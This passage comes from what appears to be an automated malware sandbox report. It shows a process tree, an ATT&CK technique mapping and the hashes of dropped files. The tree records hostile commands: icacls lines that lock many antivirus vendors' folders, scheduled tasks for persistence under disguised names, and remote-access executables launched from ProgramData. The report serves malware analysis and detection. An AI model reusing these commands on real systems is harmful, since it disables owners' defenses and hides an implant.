                                                                                                        icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                                        3⤵
                                                                                                        • Modifies file permissions
                                                                                                        PID:3188
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                                      2⤵
                                                                                                        PID:824
                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                          icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:5008
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                          PID:5076
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            PID:1440
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                          2⤵
                                                                                                          • Executes a command shell one-liner
                                                                                                          PID:2588
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            PID:3628
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                          2⤵
                                                                                                            PID:2596
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:4980
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                            • Executes a command shell one-liner
                                                                                                            PID:1248
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:2852
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                            • Executes a command shell one-liner
                                                                                                            PID:2628
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:5088
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                            • Executes a command shell one-liner
                                                                                                            PID:4360
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              3⤵
                                                                                                                PID:4552
                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                3⤵
                                                                                                                • Modifies file permissions
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3000
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                              2⤵
                                                                                                                PID:2644
                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                  icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                                  3⤵
                                                                                                                  • Modifies file permissions
                                                                                                                  PID:4296
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:560
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  3⤵
                                                                                                                    PID:1944
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:4904
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2036
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:4268
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:3588
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:3964
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2908
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:884
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                    PID:3208
                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                      icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      PID:4364
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                    2⤵
                                                                                                                    • Executes a command shell one-liner
                                                                                                                    PID:4980
                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                      icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:2032
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                    2⤵
                                                                                                                      PID:1740
                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                        icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:2560
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                      2⤵
                                                                                                                      • Executes a command shell one-liner
                                                                                                                      PID:3052
                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                        icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        PID:4296
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                                      2⤵
                                                                                                                        PID:3752
                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                          icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                          3⤵
                                                                                                                          • Modifies file permissions
                                                                                                                          PID:232
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                        2⤵
                                                                                                                        • Executes a command shell one-liner
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:1056
                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                          icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                          3⤵
                                                                                                                          • Modifies file permissions
                                                                                                                          PID:1252
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                        2⤵
                                                                                                                        • Executes a command shell one-liner
                                                                                                                        PID:4680
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          3⤵
                                                                                                                            PID:5008
                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                            icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                            3⤵
                                                                                                                            • Modifies file permissions
                                                                                                                            PID:2080
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                          2⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:884
                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                            icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                            3⤵
                                                                                                                            • Modifies file permissions
                                                                                                                            PID:708
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                          2⤵
                                                                                                                            PID:1716
                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                              icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              PID:4720
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                            2⤵
                                                                                                                              PID:4400
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:464
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:3940
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:4908
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:2520
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:4232
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:1692
                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                3⤵
                                                                                                                                  PID:232
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:1476
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:776
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  PID:3584
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:856
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  PID:4228
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:4540
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:2020
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:4760
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:3924
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                                                                                                2⤵
                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                PID:2968
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  3⤵
                                                                                                                                    PID:464
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                                                                                                  2⤵
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:1548
                                                                                                                              • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                C:\ProgramData\Windows\rutserv.exe
                                                                                                                                1⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:2444
                                                                                                                                • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                  C:\ProgramData\Windows\rutserv.exe -second
                                                                                                                                  2⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:4140
                                                                                                                              • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                C:\ProgramData\Windows\rutserv.exe
                                                                                                                                1⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:1412
                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                1⤵
                                                                                                                                  PID:4704
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                  1⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  PID:4408
                                                                                                                                • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                  C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                  1⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:3576
                                                                                                                                • C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                  C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                  1⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:4388
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:2192
                                                                                                                                • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                  "C:\Programdata\RealtekHD\taskhostw.exe"
                                                                                                                                  1⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:3924
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  1⤵
                                                                                                                                    PID:1372
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                    1⤵
                                                                                                                                      PID:712
                                                                                                                                    • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                      C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                      1⤵
                                                                                                                                        PID:2972
                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                        C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                        1⤵
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:2624

                                                                                                                                      Network

                                                                                                                                            MITRE ATT&CK Enterprise v16

                                                                                                                                            Reconnaissance

                                                                                                                                            Resource Development

                                                                                                                                            Initial Access

                                                                                                                                            Execution

                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                            4
                                                                                                                                            T1059

                                                                                                                                            PowerShell

                                                                                                                                            1
                                                                                                                                            T1059.001

                                                                                                                                            Visual Basic

                                                                                                                                            1
                                                                                                                                            T1059.005

                                                                                                                                            Windows Command Shell

                                                                                                                                            1
                                                                                                                                            T1059.003

                                                                                                                                            Scheduled Task/Job

                                                                                                                                            1
                                                                                                                                            T1053

                                                                                                                                            Scheduled Task

                                                                                                                                            1
                                                                                                                                            T1053.005

                                                                                                                                            System Services

                                                                                                                                            1
                                                                                                                                            T1569

                                                                                                                                            Service Execution

                                                                                                                                            1
                                                                                                                                            T1569.002

                                                                                                                                            Persistence

                                                                                                                                            Account Manipulation

                                                                                                                                            1
                                                                                                                                            T1098

                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                            2
                                                                                                                                            T1547

                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                            1
                                                                                                                                            T1547.001

                                                                                                                                            Winlogon Helper DLL

                                                                                                                                            1
                                                                                                                                            T1547.004

                                                                                                                                            Create Account

                                                                                                                                            1
                                                                                                                                            T1136

                                                                                                                                            Local Account

                                                                                                                                            1
                                                                                                                                            T1136.001

                                                                                                                                            Create or Modify System Process

                                                                                                                                            3
                                                                                                                                            T1543

                                                                                                                                            Windows Service

                                                                                                                                            3
                                                                                                                                            T1543.003

                                                                                                                                            Event Triggered Execution

                                                                                                                                            1
                                                                                                                                            T1546

                                                                                                                                            Netsh Helper DLL

                                                                                                                                            1
                                                                                                                                            T1546.007

                                                                                                                                            Scheduled Task/Job

                                                                                                                                            1
                                                                                                                                            T1053

                                                                                                                                            Scheduled Task

                                                                                                                                            1
                                                                                                                                            T1053.005

                                                                                                                                            Server Software Component

                                                                                                                                            1
                                                                                                                                            T1505

                                                                                                                                            Terminal Services DLL

                                                                                                                                            1
                                                                                                                                            T1505.005

                                                                                                                                            Privilege Escalation

                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                            1
                                                                                                                                            T1548

                                                                                                                                            Bypass User Account Control

                                                                                                                                            1
                                                                                                                                            T1548.002

                                                                                                                                            Account Manipulation

                                                                                                                                            1
                                                                                                                                            T1098

                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                            2
                                                                                                                                            T1547

                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                            1
                                                                                                                                            T1547.001

                                                                                                                                            Winlogon Helper DLL

                                                                                                                                            1
                                                                                                                                            T1547.004

                                                                                                                                            Create or Modify System Process

                                                                                                                                            3
                                                                                                                                            T1543

                                                                                                                                            Windows Service

                                                                                                                                            3
                                                                                                                                            T1543.003

                                                                                                                                            Event Triggered Execution

                                                                                                                                            1
                                                                                                                                            T1546

                                                                                                                                            Netsh Helper DLL

                                                                                                                                            1
                                                                                                                                            T1546.007

                                                                                                                                            Scheduled Task/Job

                                                                                                                                            1
                                                                                                                                            T1053

                                                                                                                                            Scheduled Task

                                                                                                                                            1
                                                                                                                                            T1053.005

                                                                                                                                            Defense Evasion

                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                            1
                                                                                                                                            T1548

                                                                                                                                            Bypass User Account Control

                                                                                                                                            1
                                                                                                                                            T1548.002

                                                                                                                                            File and Directory Permissions Modification

                                                                                                                                            1
                                                                                                                                            T1222

                                                                                                                                            Hide Artifacts

                                                                                                                                            4
                                                                                                                                            T1564

                                                                                                                                            Hidden Files and Directories

                                                                                                                                            3
                                                                                                                                            T1564.001

                                                                                                                                            Hidden Users

                                                                                                                                            1
                                                                                                                                            T1564.002

                                                                                                                                            Impair Defenses

                                                                                                                                            5
                                                                                                                                            T1562

                                                                                                                                            Disable or Modify System Firewall

                                                                                                                                            1
                                                                                                                                            T1562.004

                                                                                                                                            Disable or Modify Tools

                                                                                                                                            3
                                                                                                                                            T1562.001

                                                                                                                                            Modify Registry

                                                                                                                                            7
                                                                                                                                            T1112

                                                                                                                                            Credential Access

                                                                                                                                            Discovery

                                                                                                                                            Password Policy Discovery

                                                                                                                                            1
                                                                                                                                            T1201

                                                                                                                                            Permission Groups Discovery

                                                                                                                                            1
                                                                                                                                            T1069

                                                                                                                                            Local Groups

                                                                                                                                            1
                                                                                                                                            T1069.001

                                                                                                                                            Query Registry

                                                                                                                                            1
                                                                                                                                            T1012

                                                                                                                                            System Information Discovery

                                                                                                                                            4
                                                                                                                                            T1082

                                                                                                                                            System Location Discovery

                                                                                                                                            1
                                                                                                                                            T1614

                                                                                                                                            System Language Discovery

                                                                                                                                            1
                                                                                                                                            T1614.001

                                                                                                                                            Lateral Movement

                                                                                                                                            Remote Service Session Hijacking

                                                                                                                                            1
                                                                                                                                            T1563

                                                                                                                                            RDP Hijacking

                                                                                                                                            1
                                                                                                                                            T1563.002

                                                                                                                                            Collection

                                                                                                                                            Command and Control

                                                                                                                                            Web Service

                                                                                                                                            1
                                                                                                                                            T1102

                                                                                                                                            Exfiltration

                                                                                                                                            Impact

                                                                                                                                            Service Stop

                                                                                                                                            1
                                                                                                                                            T1489

                                                                                                                                            Replay Monitor

                                                                                                                                            Loading Replay Monitor...

                                                                                                                                            Downloads

                                                                                                                                            taskhost.exe
                                                                                                                                            • Path C:\ProgramData\Microsoft\Intel\taskhost.exe
                                                                                                                                            • Size 3.6MB
                                                                                                                                            • SHA256 892e0afefca9c88d43bdd1beea0f09faadef618af0226e7cd1acdb47e871a0db
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            wini.exe
                                                                                                                                            • Path C:\ProgramData\Microsoft\Intel\wini.exe
                                                                                                                                            • Size 4.5MB
                                                                                                                                            • SHA256 9276d1bb2cd48fdf46161deaf7ad4b0dbcef9655d462584e104bd3f2a8c944ce
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            winlog.exe
                                                                                                                                            • Path C:\ProgramData\Microsoft\Intel\winlog.exe
                                                                                                                                            • Size 244KB
                                                                                                                                            • SHA256 54eda5cc37afb3b725fa2078941b3b93b6aec7b8c61cd83b9b2580263ce54724
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            winlogon.exe
                                                                                                                                            • Path C:\ProgramData\Microsoft\Intel\winlogon.exe
                                                                                                                                            • Size 35KB
                                                                                                                                            • SHA256 dc6d63798444d1f614d4a1ff8784ad63b557f4d937d90a3ad9973c51367079de
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            taskhostw.exe
                                                                                                                                            • Path C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                            • Size 2.0MB
                                                                                                                                            • SHA256 a0bb963a090b975d79786265a0f5fe6b61b8bfcc1bc623559b64b1b9939897fd
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            winlogon.exe
                                                                                                                                            • Path C:\ProgramData\WindowsTask\winlogon.exe
                                                                                                                                            • Size 381KB
                                                                                                                                            • SHA256 870ff02d42814457290c354229b78232458f282eb2ac999b90c7fcea98d16375
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            install.vbs
                                                                                                                                            • Path C:\ProgramData\Windows\install.vbs
                                                                                                                                            • Size 140B
                                                                                                                                            • SHA256 cd8df8b0c43c36aabb0a960e4444b000a04eb513f0b34e12dbfd098944e40931
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            reg1.reg
                                                                                                                                            • Path C:\ProgramData\Windows\reg1.reg
                                                                                                                                            • Size 12KB
                                                                                                                                            • SHA256 7ae7e4c0155f559f3c31be25d9e129672a88b445af5847746fe0a9aab3e79544
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            reg2.reg
                                                                                                                                            • Path C:\ProgramData\Windows\reg2.reg
                                                                                                                                            • Size 1KB
                                                                                                                                            • SHA256 4ae04a85412ec3daa0fb33f21ed4eb3c4864c3668b95712be9ec36ef7658422a
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            rfusclient.exe
                                                                                                                                            • Path C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                            • Size 1.5MB
                                                                                                                                            • SHA256 dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            rutserv.exe
                                                                                                                                            • Path C:\ProgramData\Windows\rutserv.exe
                                                                                                                                            • Size 1.7MB
                                                                                                                                            • SHA256 1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

